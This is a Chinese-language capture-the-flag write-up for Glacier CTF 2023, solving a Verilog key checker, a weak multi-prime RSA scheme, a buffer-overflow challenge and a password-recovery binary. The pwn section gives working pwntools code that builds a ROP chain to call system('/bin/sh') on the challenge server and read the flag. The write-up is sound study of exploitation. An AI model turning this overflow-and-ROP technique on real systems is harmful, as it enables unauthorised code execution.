Glacial CTF 2023 Writeup
0x88dfac8bedc5 Lv3

[rev] Skilift

获得一个用Verilog编写的密码校验器的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
module top(
input [63:0] key,
output lock
);

reg [63:0] tmp1, tmp2, tmp3, tmp4;

// Stage 1
always @(*) begin
tmp1 = key & 64'hF0F0F0F0F0F0F0F0;
end

// Stage 2
always @(*) begin
tmp2 = tmp1 <<< 5;
end

// Stage 3
always @(*) begin
tmp3 = tmp2 ^ "HACKERS!";
end

// Stage 4
always @(*) begin
tmp4 = tmp3 - 12345678;
end

// I have the feeling "lock" should be 1'b1
assign lock = tmp4 == 64'h5443474D489DFDD3;

endmodule

看起来得找到能让lock变成1的key才行。已知tmp4的情况下可以一步步地把tmp1给倒推出来

1
2
3
4
5
6
from pwn import *

tmp4 = 0x5443474D489DFDD3
tmp3 = tmp4 + 12345678
tmp2 = tmp3 ^ int.from_bytes(b"HACKERS!", byteorder="big")
tmp1 = tmp2 >> 5

虽然此时key的偶数位与前五位依旧未知,不过由于不影响之后的运算已经不重要了

1
2
3
chall = remote("chall.glacierctf.com", 13375)
chall.sendlineafter(">", hex(tmp1))
chall.interactive()

Out:

1
2
3
4
5
6
7
8
9
10
11
12
Welcome to SkiOS v1.0.0   ║
║ ║
║ > Please provide the ║
║ master key to start ║
║ the ski lift ║
║ ║
║ (format 0x1234567812345678) ║
║ ║
╚═════════════════════════════╝

Please input your key
> gctf{V3r1log_ISnT_SO_H4rd_4fTer_4ll_!1!}

[crypto] Arisai

拿到一个魔改版的RSA加密器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from Crypto.Util.number import bytes_to_long
from Crypto.Util.number import getPrime

PRIME_LENGTH = 24
NUM_PRIMES = 256

FLAG = b"gctf{redacted}"

N = 1
e = 65537

for i in range(NUM_PRIMES):
prime = getPrime(PRIME_LENGTH)
N *= prime

ct = pow(bytes_to_long(FLAG), e, N)

print(f"{N=}")
print(f"{e=}")
print(f"{ct=}")

观察到参数N由256个24比特的随机质数组合而成,由于因子的可能性不多可以尝试暴力破解出N的质因数分解以便推导出私钥

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import * 
from Crypto.Util.number import getPrime

N = ... # see output.txt
e = ...
ct = ...

PRIME_LENGTH = 24
NUM_PRIMES = 256

factors = {}
reduced_N = N

def test_and_update_factor(p):
global reduced_N

if reduced_N % p == 0:
if p in factors.keys():
factors[p] += 1
else:
factors[p] = 1

print(factors)
reduced_N //= p
print(reduced_N)
test_and_update_factor(p)
return

while reduced_N != 1:
p = getPrime(PRIME_LENGTH)
if p in factors.keys():
continue
test_and_update_factor(p)

现在可以直接算出N在欧拉函数 下的值了(表示因子p重复的次数,对应程序中的factors[p]

1
2
3
from functools import reduce

phi_N = reduce(lambda x,y: x * y, [(p-1) * p**(factors[p]-1) for p in factors.keys()])

找到公钥e中的逆,也就是私钥

1
d = pow(e, -1, phi_N)

然后对密文进行解密翻译成字符串并打印出来

1
2
pt = pow(ct, d, N)
print(pt.to_bytes((pt.bit_length()+7)//8, "big"))

Out:

1
b'gctf{maybe_I_should_have_used_bigger_primes}' 

[pwn] Locifier

对拿到的elf文件进行反编译,观察main函数

1
2
3
4
5
6
7
8
9
undefined8 main(void)
{
char local_108 [256];

setup();
fgets(local_108,0x100,(FILE *)stdin);
printf("-> %s\n",local_108);
return 0;
}

看起来并没有什么问题,但输入test时程序返回-> Lostest而不是预期的-> test。点进setup()发现和printf相关的函数

1
2
3
4
5
6
7
8
void setup(void)

{
setbuf((FILE *)stdin,(char *)0x0);
setbuf((FILE *)stdout,(char *)0x0);
register_printf_specifier(0x73,printf_handler,printf_arginfo_size);
return;
}

看起来register_printf_specifier根据printf_handler来去定制printf的表现,进入printf_handler

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
size_t printf_handler(FILE *param_1,undefined8 param_2,undefined8 *param_3)
{
undefined8 local_58;
undefined8 local_50;
undefined8 local_48;
undefined8 local_40;
undefined8 local_38;
undefined8 local_30;
undefined8 local_28;
undefined8 local_20;
size_t local_18;
undefined8 local_10;

local_50 = 0;
local_48 = 0;
local_40 = 0;
local_38 = 0;
local_30 = 0;
local_28 = 0;
local_20 = 0;
local_10 = *(undefined8 *)*param_3;
local_58 = 0x736f4c;
loscopy((long)&local_58 + 3,local_10,10);
local_18 = strlen((char *)&local_58);
fwrite(&local_58,1,local_18,param_1);
return local_18;
}

void loscopy(char *param_1,char *param_2,char param_3)
{
char *local_18;
char *local_10;

local_18 = param_2;
local_10 = param_1;
while (param_3 != *local_18) {
*local_10 = *local_18;
local_18 = local_18 + 1;
local_10 = local_10 + 1;
}
return;
}

看起来它会将printf第二个参数指向的字符串放到&local_58 + 3这个位置,以\n作为该字符串的终结,而且printf_handler并没有被canary保护,尝试一下能不能用栈溢出改写返回地址。

1
2
3
4
5
6
7
8
from pwn import *

chall = gdb.debug("chall")
chall.send(cyclic(0x100))
# 程序遇到无效地址`aaawaaax`报错退出
dist_to_ra = cyclic_find('aaaw')
print(dist_to_ra)
# 85

观察到溢出成功并且确定buffer到返回地址之间的距离为85字节。利用rop尝试打开shell

1
2
3
4
5
6
7
8
elf = ELF("chall")
rop = ROP(elf)
rop.raw(b'A' * 85)
rop.call("system", [next(elf.search(b"/bin/sh"))])

chall = process("chall")
gdb.attach(chall)
chall.sendline(rop.chain())

通过gdb发现程序成功进入system函数但在执行指令movaps xmmword ptr [rsp + 0x50], xmm0时出错退出。查阅movaps文档后发现此指令要求rsp + 0x50满足内存排列规则,也就是16的倍数。然而在程序退出的瞬间rsp的值为0x7ffeda1ac408,很显然不满足条件。尝试加入通过加入一个无意义的retgadget来去让rsp的最后一位归零

1
2
3
4
5
6
7
8
9
10
11
context.arch = "amd64" 

elf = ELF("chall")
rop = ROP(elf)
rop.raw(b'A' * 85)
rop.raw(rop.find_gadget("ret"))
rop.call("system", [next(elf.search(b"/bin/sh"))])

chall = process("chall")
gdb.attach(chall)
chall.sendline(rop.chain())

执行后成功拿到shell,连接challenge服务器拿下flag

1
2
3
4
5
6
7
chall = remote("chall.glacierctf.com", 13392)
chall.sendline(rop.chain())
chall.interactive()
ls
app flag.txt
cat flag.txt
gctf{l0ssp34k_UwU_L0v3U}

[rev] Password Recovery

题目要求找到用户LosCapitan的密码并且给出密码校验器的二进制文件。进行反编译后观察main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
undefined8 main(void)
{
byte bVar1;
int iVar2;
ulong uVar3;
size_t sVar4;
long in_FS_OFFSET;
ulong local_b8;
ulong local_b0;
byte local_98 [64];
char local_58 [56];
long local_20;

local_20 = *(long *)(in_FS_OFFSET + 0x28);
printf("Enter your name: ");
__isoc99_scanf(&DAT_00102016,local_98);
printf("Enter your password: ");
__isoc99_scanf(&DAT_00102016,local_58);
local_b8 = 0;
while( true ) {
sVar4 = strlen((char *)local_98);
if (sVar4 <= local_b8) break;
uVar3 = next_rand_value();
sVar4 = strlen((char *)local_98);
bVar1 = local_98[local_b8];
local_98[local_b8] = local_98[uVar3 % sVar4];
local_98[uVar3 % sVar4] = bVar1;
local_b8 = local_b8 + 1;
}
local_b0 = 0;
while( true ) {
sVar4 = strlen((char *)local_98);
if (sVar4 <= local_b0) break;
local_98[local_b0] = local_98[local_b0] ^ *(byte *)((long)&key + (ulong)((uint)local_b0 & 7));
local_98[local_b0] = (char)local_98[local_b0] % '\x1a';
local_98[local_b0] = local_98[local_b0] + 0x61;
local_b0 = local_b0 + 1;
}
iVar2 = strcmp((char *)local_98,local_58);
if (iVar2 == 0) {
puts("Valid!");
}
else {
puts("Invalid!");
}
if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}

注意到比较关键的一行

1
iVar2 = strcmp((char *)local_98,local_58);

使用gdb查看用于比较的字符串

1
2
3
chall = gdb.debug("app")
chall.sendline(b"LosCapitan")
chall.sendline(b"test")
1
2
3
4
5
6
7
8
b main
c
b strcmp
commands
x/s $rdi
x/s $rsi
end
c

成功找到密码]^WR\\lcTI